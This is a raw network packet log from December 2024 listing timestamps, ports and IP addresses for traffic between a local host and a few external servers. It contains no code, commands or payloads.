Dec 20, 2024 07:12:39.205827951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.205885887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.206856012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.206976891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.207034111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.208058119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.208169937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.208228111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.209254026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.209351063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.209410906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.210515976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.210623026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.211672068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.211735964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.211738110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.212811947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.212845087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.212914944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.212970018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.213999033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.214150906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.215259075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.215274096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.215343952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.216424942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.216468096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.216496944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.216511011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.217561007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.217576027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.217684984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.217742920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.218765020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.218880892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.218945980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.219948053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.220272064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.220330000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.221143007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.221270084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.221327066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.222361088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.222436905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.223531008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.223591089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.223634005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.224720001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.224772930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.224817991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.225548029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.225893974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.226013899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.226079941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.227088928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.227230072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.227287054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.228271961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.228379011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.228472948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.229476929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.229552031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.229595900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.230658054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.230715990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.230757952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.231848001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.231910944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.231956959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.233117104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.233175039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.233207941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.233550072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.234240055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.234378099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.234436989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.235368967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.237550020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.245441914 CET	443	49841	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:39.245692968 CET	443	49841	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:39.249563932 CET	49841	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:39.249674082 CET	49841	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:39.249722004 CET	443	49841	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:39.249752045 CET	49841	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:39.249767065 CET	443	49841	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:39.270088911 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.270174980 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.271094084 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.362379074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.362437963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.362488031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.362550020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.362962961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.363034010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.363065004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.363239050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.363836050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.363890886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.364027023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.364080906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.365201950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.365271091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.365313053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.365361929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.366240978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.366298914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.366333961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.366381884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.367403030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.367460012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.367495060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.367528915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.368582010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.368635893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.368704081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.368758917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.369790077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.369837999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.369883060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.369935036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.370996952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.371067047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.371090889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.371146917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.372163057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.372217894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.372265100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.372320890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.373368979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.373429060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.373456955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.373549938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.374660969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.374722004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.374835968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.374890089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.375791073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.375849962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.375868082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.375922918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.376946926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.377002001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.377067089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.377120972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.378113985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.378180027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.378220081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.378283024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.379329920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.379394054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.379424095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.379476070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.380496025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.380556107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.380601883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.380651951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.381695986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.381755114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.381797075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.381850958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.382867098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.382952929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.382994890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.383060932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.384110928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.384170055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.384175062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.384229898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.385270119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.385374069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.385396957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.385431051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.386437893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.386516094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.386539936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.386595964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.387628078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.387687922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.387690067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.387743950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.388823032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.388904095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.388905048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.388956070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.390002966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.390055895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.390142918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.390203953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.390649080 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.390661955 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.390733004 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.390796900 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.390810013 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.390853882 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.390902996 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.390903950 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.390917063 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.390971899 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.391011000 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.391025066 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.391040087 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.391067982 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.391078949 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.391098976 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.391138077 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.391185999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.391242981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.391304970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.391388893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.392401934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.392457962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.392474890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.392523050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.393573999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.393632889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.393693924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.393743992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.394824982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.394882917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.394912958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.394967079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.395968914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.396020889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.396068096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.396120071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.397139072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.397196054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.397241116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.397296906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.398334980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.398401976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.398442984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.398503065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.399519920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.399575949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.399621964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.399821043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.400703907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.400782108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.400826931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.400878906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.401904106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.401959896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.402009964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.402065992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.403120041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.403179884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.403232098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.403285027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.404339075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.404400110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.404582977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.404633999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.405482054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.405539989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.405633926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.405687094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.406687975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.406739950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.406775951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.406829119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.407856941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.407911062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.407934904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.407988071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.409142971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.409209013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.409262896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.409317970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.410263062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.410278082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.410316944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.410356998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.411482096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.411542892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.411674023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.411729097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.412631989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.412708044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.412744999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.412806034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.413817883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.413876057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.413921118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.413975000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.415016890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.415070057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.415117979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.415169954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.416179895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.416238070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.416280031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.416330099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.417367935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.417424917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.417471886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.417526960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.418587923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.418646097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.418693066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.418744087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.419750929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.419816017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.419869900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.419922113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.420977116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.421026945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.421042919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.421072006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.422138929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.422256947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.422312975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.423330069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.423388958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.423495054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.423548937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.424489975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.424551964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.510327101 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.510354042 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.510401011 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.510423899 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.510435104 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.510538101 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.510546923 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.510551929 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.510622025 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.553498983 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.553699970 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.554714918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.554761887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.554802895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.554905891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.555257082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.555324078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.555366993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.555408001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.556400061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.556487083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.556507111 CET	80	49838	31.41.244.11	192.168.2.4
